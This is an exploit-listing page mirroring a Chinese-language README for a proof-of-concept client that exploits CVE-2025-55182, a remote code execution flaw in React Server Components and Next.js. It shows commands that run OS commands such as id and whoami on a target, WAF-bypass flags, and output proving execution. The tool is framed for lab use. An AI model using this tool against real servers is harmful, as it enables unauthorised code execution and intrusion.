Sploitus

Exploit for react2shell-scanner

kitploit · 2026-09-04

Exploit Code

MARKDOWN284 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HIDDEN-INVESTIGATIONS-REACT2SHELL-SCANNER
# React2Shell 扫描器 – 附带 PoC

> **CVE-2025-55182 – React Server Components RCE PoC**  
>  针对 Hidden Investigations React2Shell 实验室的教育性利用客户端。

本仓库包含针对 **React2Shell** 漏洞(CVE-2025-55182)的单主机概念验证(PoC)利用工具,该漏洞影响配置不当的 **React Server Components / Next.js** 应用程序。

其设计**仅** 用于官方 **Hidden Investigations React2Shell 实验室** 或您明确拥有/管理的系统。

* * *

## ⚠️ 法律与道德免责声明

本项目**严格** 用于教育和防御性安全研究:

  * 仅可在以下系统上使用此工具: 
    * 官方 **Hidden Investigations React2Shell 实验室** ,或
    * 您拥有或已获得**明确书面许可** 进行测试的系统。
  * **不得** 将其指向任何随机网站、生产系统或您无法控制的基础设施。
  * 作者和 Hidden Investigations **不对** 滥用或损害承担任何责任。



使用此工具即表示您同意遵守所有适用的法律法规。

* * *

## 功能特点

  * 🔥 针对 CVE-2025-55182 的 **React2Shell 利用客户端**
  * 🎯 **单主机聚焦** (无大规模扫描)
  * 📡 支持**自定义路径** 和**路径列表**
  * 🧪 **安全检查模式** (不执行操作系统命令,仅探测标识)
  * 🪟 **Windows 友好模式** (默认使用 `whoami`)
  * 🛡️ **WAF 绕过辅助** : 
    * 垃圾多部分字段(`--waf-bypass`,`--waf-bypass-size`)
    * Vercel 布局调整(`--vercel-waf-bypass`)
  * 🔐 TLS 选项(`--insecure`,自定义请求头)
  * 🧾 JSON 输出(`-o/--output`,`--all-results`)
  * 🧘 干净的**静默模式** 输出(方便直接传递给其他工具)



* * *

## 系统要求

  * **Python** :3.8+(已在 Python 3.10+ 上测试)
  * **依赖** : 
    * `requests`



通过以下命令安装依赖:

root@kitploit:~
    
    
    pip install -r requirements.txt
    

* * *

## 安装

  1. 克隆 Hidden Investigations 仓库:



root@kitploit:~
    
    
    git clone https://github.com/hidden-investigations/react2shell-poc.git
    cd react2shell-poc
    

  2. (可选但推荐)创建虚拟环境:



root@kitploit:~
    
    
    python3 -m venv venv
    source venv/bin/activate   # 在 Windows 上:venv\Scripts\activate
    

  3. 安装依赖:



root@kitploit:~
    
    
    pip install -r requirements.txt
    

  4. 运行工具:



root@kitploit:~
    
    
    python3 react2shell-scanner.py -h
    

* * *

## 使用方法

基础帮助:

root@kitploit:~
    
    
    python3 react2shell-scanner.py -h
    

该工具需要**目标 URL** :

root@kitploit:~
    
    
    python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
    # 或
    python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
    

如果不带 `-t/--target` 或 `-u/--url` 运行,则会打印**品牌帮助信息** 并退出。

* * *

## 命令行选项

### 目标与路径

> **注意:** 此 PoC **仅支持单主机** 。`-l/--list` 选项存在但被有意禁用。

* * *

### 利用/载荷行为

* * *

### HTTP / TLS 选项

* * *

### 输出/用户体验选项

静默模式示例(整洁的多行输出):

root@kitploit:~
    
    
    python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
    

输出:

root@kitploit:~
    
    
    total 12
    drwxr-xr-x    1 root     root            10 Dec 13 21:13 .
    drwxr-xr-x    1 root     root             0 Dec 13 21:13 ..
    drwxr-xr-x    1 nextjs   nodejs          12 Dec 13 21:13 .next
    drwxr-xr-x    1 nextjs   nodejs         396 Dec 13 21:13 node_modules
    -rw-r--r--    1 nextjs   nodejs         733 Dec 13 21:13 package.json
    drwxr-xr-x    1 root     root            12 Dec 13 19:13 public
    -rw-r--r--    1 nextjs   nodejs        5661 Dec 13 21:13 server.js
    

* * *

### 批量扫描参数(有意禁用)

以下参数用于模仿 Assetnote 的 CLI,但在本 PoC 中**未实现** 以避免大规模扫描的滥用:

选项| 状态  
---|---  
`-l`, `--list`| **未实现**  
`--threads N`| **未实现**  
  
如果使用 `-l/--list`,工具将打印警告并退出,建议使用 Assetnote 的原版 `react2shell-scanner` 进行大规模安全扫描。

* * *

## 示例

对本地实验室运行:

root@kitploit:~
    
    
    python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
    

使用更大的垃圾字段绕过 WAF:

root@kitploit:~
    
    
    python3 react2shell-scanner.py -t http://localhost:3000   --waf-bypass --waf-bypass-size 256   -c "id"
    

同一主机多路径:

root@kitploit:~
    
    
    python3 react2shell-scanner.py -t http://localhost:3000   --path /   --path /_next/data   -c "id"
    

从文件读取路径:

root@kitploit:~
    
    
    python3 react2shell-scanner.py -t http://localhost:3000   --path-file paths.txt   -c "id"
    

安全检查模式(不执行操作系统命令):

root@kitploit:~
    
    
    python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
    

将 JSON 结果输出到文件:

root@kitploit:~
    
    
    python3 react2shell-scanner.py -t http://localhost:3000   --path / --path /_next   -c "id"   -o results.json --all-results
    

* * *

## JSON 输出格式

当使用 `-o/--output` 时,工具会输出一个对象数组,如下所示:

root@kitploit:~
    
    
    [
      {
        "url": "http://localhost:3000/",
        "path": "/",
        "success": true,
        "status": "success",
        "output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
        "http": {
          "status_code": 302,
          "headers": {
            "X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
            "...": "..."
          }
        }
      }
    ]
    

* * *

## 致谢

  * **Hidden Investigations** – 感谢发布 React2Shell 教育实验室和 PoC 客户端。
  * **@sakibulalikhan** – 工具作者。
  * **Assetnote** – 通过他们的 `react2shell-scanner` 启发了 WAF 绕过思路。



* * *

## 许可证

本项目基于 **MIT 许可证** 。详见 `LICENSE`。

📬 联系我们:some-email@example.com